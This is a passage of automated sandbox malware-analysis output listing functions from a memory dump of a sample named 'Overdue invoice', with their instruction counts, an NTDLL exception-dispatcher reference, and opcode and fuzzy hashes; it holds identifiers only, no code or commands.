Instruction ID: 1ce3e7b571fe4b49dad41ab584309963d754d439fef0349693cc909b52cfe191
Opcode Fuzzy Hash: a513491f23dd7650423f95719837a44d56ea5f89338d91be69ab3f7cfe482d5b
Instruction Fuzzy Hash: E9020B39902398CFCB65DF20D8886A9B7B2FF4571AF6041EAE90A57340DB355E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7461 Relevance: 3.3, APIs: 2, Instructions: 347
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 717d5e0e8fa56d3f9c90228b54d76a09d84458f26e867eab00b537a55c5afad5
Instruction ID: edc705339c6de9102205074522ea5a851df8ebaf2d141fcdfb7e750568efd36d
Opcode Fuzzy Hash: 717d5e0e8fa56d3f9c90228b54d76a09d84458f26e867eab00b537a55c5afad5
Instruction Fuzzy Hash: 9F020B39902258CFDB65DF20D8886A9B7B2FF4570AF6041EAE90A57340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E74A8 Relevance: 3.3, APIs: 2, Instructions: 340
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 72defcb839cbb1e6dd4b2fae1b49c49245f9014c33208b49eae7a51ab3eb6c31
Instruction ID: 2bcb68187d79025374ad451ea2a005353719e519735498074fb453c4608b4619
Opcode Fuzzy Hash: 72defcb839cbb1e6dd4b2fae1b49c49245f9014c33208b49eae7a51ab3eb6c31
Instruction Fuzzy Hash: 5B021B39902398CFCB65DF20D8886A9B7B2FF4571AF6041EAE90A57340DB359E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E74EF Relevance: 3.3, APIs: 2, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 9d7dd3a93a1b03cf1b2134357489961e29b07c2df88386aa4d112b802d0cdcae
Instruction ID: f506ed393bf345b1cf2802633fa948518424e4e68be9abc3f637fc56a28b1652
Opcode Fuzzy Hash: 9d7dd3a93a1b03cf1b2134357489961e29b07c2df88386aa4d112b802d0cdcae
Instruction Fuzzy Hash: E2021B39902298CFCB65DF20D8886A9B7B2FF4571AF6041DAE90A57340DB359E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7536 Relevance: 3.3, APIs: 2, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8d32e7cc3ac7796b49458261dbb8b89af9e09d76afdd3720c36f1ad5029c12dd
Instruction ID: 4ec01f91180293eacd3b5b9d65a307a97fc62089af07c5554ac9cbab52b1489d
Opcode Fuzzy Hash: 8d32e7cc3ac7796b49458261dbb8b89af9e09d76afdd3720c36f1ad5029c12dd
Instruction Fuzzy Hash: E8021B39902398CFCB65DF20D8886A9B7B2FF4971AF6041DAE90A57340DB359E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E757D Relevance: 3.3, APIs: 2, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 253a5ebd94a607d5ce275403ebc1ae3c0cf7dd09dc6eb59277f969de3f5008f0
Instruction ID: f8491e5c3d1622c4a44e8b99b7ed99997e6064911ae83d3f7c3759b86d032306
Opcode Fuzzy Hash: 253a5ebd94a607d5ce275403ebc1ae3c0cf7dd09dc6eb59277f969de3f5008f0
Instruction Fuzzy Hash: D9F10A39902398CFCB65DF20D8886A9B7B2FF4571AF6041DAE90A57340DB355E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E75BB Relevance: 3.3, APIs: 2, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5eed9d894212c565d9c02e3fb4f975b3dcab15457769a1d41595818e8432a7b2
Instruction ID: fcac7ade2c900a65d0bfc76b4057b2c3d9ae1737bdb89067e498df0e0e7d2499
Opcode Fuzzy Hash: 5eed9d894212c565d9c02e3fb4f975b3dcab15457769a1d41595818e8432a7b2
Instruction Fuzzy Hash: B4F1FB39902398CFCBA5DF20D8886A9B7B2FF4571AF6041DAE90A57340DB355E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7602 Relevance: 3.3, APIs: 2, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 3d49211392786cd5029f2ec97f007066519fa967531754f90ca4acda0629f0b7
Instruction ID: 980577548e42bad3136959c0301e3c4280bc32d92b1874fde320806a1fdb3e13
Opcode Fuzzy Hash: 3d49211392786cd5029f2ec97f007066519fa967531754f90ca4acda0629f0b7
Instruction Fuzzy Hash: B0F1FA39902398CFCB65DF20D8886A9B7B2FF4571AF6041DAE90A67340DB355E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7649 Relevance: 3.3, APIs: 2, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ddba0dc1bed6548713104a301eef06f867f8e5dbcf5d9d4efbe1a224ed35e710
Instruction ID: 1c7a2e72541b397efb9e7cf44dbe78a89f8da877d4c86ccc7e5b577ad4434bc6
Opcode Fuzzy Hash: ddba0dc1bed6548713104a301eef06f867f8e5dbcf5d9d4efbe1a224ed35e710
Instruction Fuzzy Hash: CAF1FC39902398CFCB65DF20D8886A9B7B2FF4971AF6041DAE90A57340DB355E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7690 Relevance: 3.3, APIs: 2, Instructions: 291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cccf28d805b4df09f0ace98b8b5f8d05279e52646eef8887ffa22dfa6ce842b9
Instruction ID: 4e34e1521c7207b593c0fb9ed1aff4faf5dad019e4b2886708aaa8a23e5bcca2
Opcode Fuzzy Hash: cccf28d805b4df09f0ace98b8b5f8d05279e52646eef8887ffa22dfa6ce842b9
Instruction Fuzzy Hash: 58E10C39902258CFDB65DF20D8886A9B7B2FF4570AF6041DAE90A67340DB355E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E76D7 Relevance: 3.3, APIs: 2, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 58e640a81e6365525f6846f96f200549b007b8c84a99b1b48256735183378354
Instruction ID: a2fce6930553036865b3ed870997d5e6b22c5f35af9f3a6abfe1d23d70920588
Opcode Fuzzy Hash: 58e640a81e6365525f6846f96f200549b007b8c84a99b1b48256735183378354
Instruction Fuzzy Hash: EEE10B39902258CFDB65EF20D8886A9B7B2FF4570AF6041DAE90A67340DB355E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E771E Relevance: 3.3, APIs: 2, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 94b7a5d89200d1e6337211c0b15dc71649bdecb44ac95c7a67fe860710dcae32
Instruction ID: 227957513b88d326094dcf1c6755bcd95367fc68d49b2ae6d975a89d7d34cc50
Opcode Fuzzy Hash: 94b7a5d89200d1e6337211c0b15dc71649bdecb44ac95c7a67fe860710dcae32
Instruction Fuzzy Hash: 6FE10C39902298CFDB65DF30D8886A9B7B2FF4570AF6041DAE90A67340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7765 Relevance: 3.3, APIs: 2, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 233b6714286a54466dcb8c9f768e2551e8dc68f833c32db7c5cb47e8641e5334
Instruction ID: 6d4f12a3d09317d28948627dfd25e739338189ca7d5fb2ee0764f521730c81a5
Opcode Fuzzy Hash: 233b6714286a54466dcb8c9f768e2551e8dc68f833c32db7c5cb47e8641e5334
Instruction Fuzzy Hash: 00E1FB39902298CFDB65DF20D8886A9B7B2FF4970AF6041DAE90A67340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E77AC Relevance: 3.3, APIs: 2, Instructions: 263
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0d82aad5ee31bae57f18fd1acfaef25b62f8b86ae6db704105311723dabd72ed
Instruction ID: bacb8747aa4c12b34e16632d8ca33059c63c52b0b68ae9f9a8bc3c97a18b7b9a
Opcode Fuzzy Hash: 0d82aad5ee31bae57f18fd1acfaef25b62f8b86ae6db704105311723dabd72ed
Instruction Fuzzy Hash: 13D10C39902298CFCB65DF20D8886ADB7B2FF4570AF6041DAE90A67340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E77F3 Relevance: 3.3, APIs: 2, Instructions: 256COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E7819
KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6b2809b979890f6d276db787e23b89d3b21b89907c3ad4bf07e24f568f6e8276
Instruction ID: 77a9bac5f0102794e07cc72f2ce593fbe42ebe03d7005126812afbf659d8bf46
Opcode Fuzzy Hash: 6b2809b979890f6d276db787e23b89d3b21b89907c3ad4bf07e24f568f6e8276
Instruction Fuzzy Hash: 6FD10B39902298CFCB65DF20D8886ADB7B2FF4570AF6041DAE90A67340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7850 Relevance: 1.7, APIs: 1, Instructions: 245COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 374b16abdf81bcb1bafcc8e17c2fad583d6a9feb9c3ea4907eb9ef4509e6ef3a
Instruction ID: 2e601372d2c99577ce41dc22162f98ad5ab51d57ab48c9f8d04b03b5edbd2b54
Opcode Fuzzy Hash: 374b16abdf81bcb1bafcc8e17c2fad583d6a9feb9c3ea4907eb9ef4509e6ef3a
Instruction Fuzzy Hash: 53D1EA39902298CFDB65DF20D8886A9B7B2FF4570AF6041DAE90A67340DB355E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7897 Relevance: 1.7, APIs: 1, Instructions: 238COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2fdf3479ddc1aa93a425bb6cda61b6ba44cb51e381448e46df65cb3343ef2cc3
Instruction ID: 4a01b0d8ae44eaaaef0e84c920bd4ce8f83f0576c92839e92da120488c632ebb
Opcode Fuzzy Hash: 2fdf3479ddc1aa93a425bb6cda61b6ba44cb51e381448e46df65cb3343ef2cc3
Instruction Fuzzy Hash: 18C1EA39902398CFDB65DF20D8886A9B7B2FF4570AF6041DAE90A67340DB355E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E78DE Relevance: 1.7, APIs: 1, Instructions: 231COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2c03e0b47bd9417c74e7b77e0860a6917dedee03b4a28363f13d3301cd4f4a93
Instruction ID: 0b67f1d2e310089af8382d9fe31184587a988bbd7497e08bee02f5157bc6da7c
Opcode Fuzzy Hash: 2c03e0b47bd9417c74e7b77e0860a6917dedee03b4a28363f13d3301cd4f4a93
Instruction Fuzzy Hash: 60C1EA39902398CFDB65DF20D8886A9B7B2FF4570AF6041DAE90A67340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7925 Relevance: 1.7, APIs: 1, Instructions: 224COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 08acc68067214f27af25a5925f8c1f980ddea7392834d7f6b0b1f2f531f7e8aa
Instruction ID: e782e356c54d270934099c9f43feb8089ad7c836fc71bf1d4065fb9788bc0ec4
Opcode Fuzzy Hash: 08acc68067214f27af25a5925f8c1f980ddea7392834d7f6b0b1f2f531f7e8aa
Instruction Fuzzy Hash: C7C1FB39902398CFDBA5DF20D8886A9B7B2FF4570AF6041DAE90A67340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E796C Relevance: 1.7, APIs: 1, Instructions: 217COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4b05e010114e6eb6029a0846ad7eb4910691803b72dc5aaa71074447de3dc527
Instruction ID: 58cffb08a98221c171af0e14241c5f8706460d5c13ae1a18308b9613bdd7cd7c
Opcode Fuzzy Hash: 4b05e010114e6eb6029a0846ad7eb4910691803b72dc5aaa71074447de3dc527
Instruction Fuzzy Hash: 3FB1DB39902298CFDB65DF30D8886A9B7B2FF4570AF6041DAE90A67340DB355E82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E79B3 Relevance: 1.7, APIs: 1, Instructions: 210COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 75a525129e582614bab745b1fbb701d7a34e5e5a0ba9683e039d2c1c7b8a6b46
Instruction ID: 6742b6077dfb6b2f598abca30dcdbb7bee27a126491d0f473e26dabf8f92686d
Opcode Fuzzy Hash: 75a525129e582614bab745b1fbb701d7a34e5e5a0ba9683e039d2c1c7b8a6b46
Instruction Fuzzy Hash: 49B1DB39902298CFDB65DF30D8886A9B7B2FF4570AF6041DAE90A67340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E79FA Relevance: 1.7, APIs: 1, Instructions: 203COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b7602deffad2f962d21fb3090ca91d6619d597a636a340881c81721af0182918
Instruction ID: 8c44da29e3036e3d337b4faf8de1ef008e5120f0c1ccc40dcd21600a6fc10f47
Opcode Fuzzy Hash: b7602deffad2f962d21fb3090ca91d6619d597a636a340881c81721af0182918
Instruction Fuzzy Hash: E8B1FB39906298CFCB65DF30D8886A9B7B2FF4570AF6041DAE90A67340DB355D82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7A41 Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 743183450e328093c5d915d26a25da6073b0e9114efba53c4ffb9739e8c7b929
Instruction ID: 8dc574d384892803c44f7eba71e9aa6061edf1709f8eeb8bdf31da681706a06a
Opcode Fuzzy Hash: 743183450e328093c5d915d26a25da6073b0e9114efba53c4ffb9739e8c7b929
Instruction Fuzzy Hash: D9A1FC39902298CFDBA5DF30D8886A9B7B2FF4570AF6041DAE90A67340DB355D82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7A7F Relevance: 1.7, APIs: 1, Instructions: 189COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ead2421514d0a6ae2662f0849d0860f392944106b5cfec8f18f240688f579bd0
Instruction ID: f9992a92fd5e541494a816e422ad7aa1a71594ba5ace4a190579ed2829e2c97b
Opcode Fuzzy Hash: ead2421514d0a6ae2662f0849d0860f392944106b5cfec8f18f240688f579bd0
Instruction Fuzzy Hash: A5A1EB39906298CFCB65DF30D8886A9B7B2FF4570AF6041DAE90AA7340DB355D82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7AC6 Relevance: 1.7, APIs: 1, Instructions: 180COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 02473c793d59bcc3f68d589af497a600810c652a62d552404393e494c45f3a35
Instruction ID: 63a3f7368a3fe5c01b8b7a2b15a8785cf3e752220621c6ee94f3e62dbeb43d2e
Opcode Fuzzy Hash: 02473c793d59bcc3f68d589af497a600810c652a62d552404393e494c45f3a35
Instruction Fuzzy Hash: 9D91EB39906298CFCB65DF30D8886A9B7B2FF4570AF6041DAE90A67340DB355D82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7B04 Relevance: 1.7, APIs: 1, Instructions: 175COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: bb2c5165963bc4c8a4408f38673429edb0b795cd3fd6a07936d023ce8fb432ef
Instruction ID: 0ae658f5741127b1acee34215d4df58a0a8156d3a44e4942b90d60d6a04e6327
Opcode Fuzzy Hash: bb2c5165963bc4c8a4408f38673429edb0b795cd3fd6a07936d023ce8fb432ef
Instruction Fuzzy Hash: F091EB39902258CFCB65DF30D8886A9B7B2FF4570AF6041DAE90AA7340DB355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7B4B Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e8c0a1e3a09034775605694901fcee5d99148e52fd3fc8ba1f59301de34f9e47
Instruction ID: 158932f9d7cca61283500e4f0d9549d57e8e4ebee3d1c5309f67e5102cdc4a35
Opcode Fuzzy Hash: e8c0a1e3a09034775605694901fcee5d99148e52fd3fc8ba1f59301de34f9e47
Instruction Fuzzy Hash: B191EA39902358CFCBA5DF20D8886A9B7B2FF4571AF6041DAE90AA7340DB355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7B95 Relevance: 1.7, APIs: 1, Instructions: 161COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d3de3a8f905579bd4cb35078c14b8eadb7e1c6ecb74dd939243538ba134e0b99
Instruction ID: c2846835973d2de58be98b0754afb780430898ba0ca5c2eb7da6d0cfedad650f
Opcode Fuzzy Hash: d3de3a8f905579bd4cb35078c14b8eadb7e1c6ecb74dd939243538ba134e0b99
Instruction Fuzzy Hash: 3181EA39906358CFCBA5DF20D8886A9B7B2FF4570AF6041EAE90AA7340DB355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7BDF Relevance: 1.7, APIs: 1, Instructions: 154COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fa196bf65d9adc71cb32f1618fe07180963ba2622cc9686f0d1acdbef3b2eb91
Instruction ID: 1b4f7f76c362bb489fb03c36f686d37ee3fd3384ae7fbb4035c814cbe2c76d0d
Opcode Fuzzy Hash: fa196bf65d9adc71cb32f1618fe07180963ba2622cc9686f0d1acdbef3b2eb91
Instruction Fuzzy Hash: 8A810B39902258CFCB65DF30D8886A9B7B2FF4570AF6041EAE90AA7340DB355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7C29 Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 064300cf13e4e651810eda2009a1a64fc82e1e94af28f45be7af8af56c514f08
Instruction ID: 186fbf0e8595b0006ae55ced6b8369f391049c56b52f9aa69d470779cd4683f1
Opcode Fuzzy Hash: 064300cf13e4e651810eda2009a1a64fc82e1e94af28f45be7af8af56c514f08
Instruction Fuzzy Hash: 1C71EC39906258CFCBA5EF30D8886A9B7B2FF4570AF6041EAE90A57340DB355D82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7C67 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

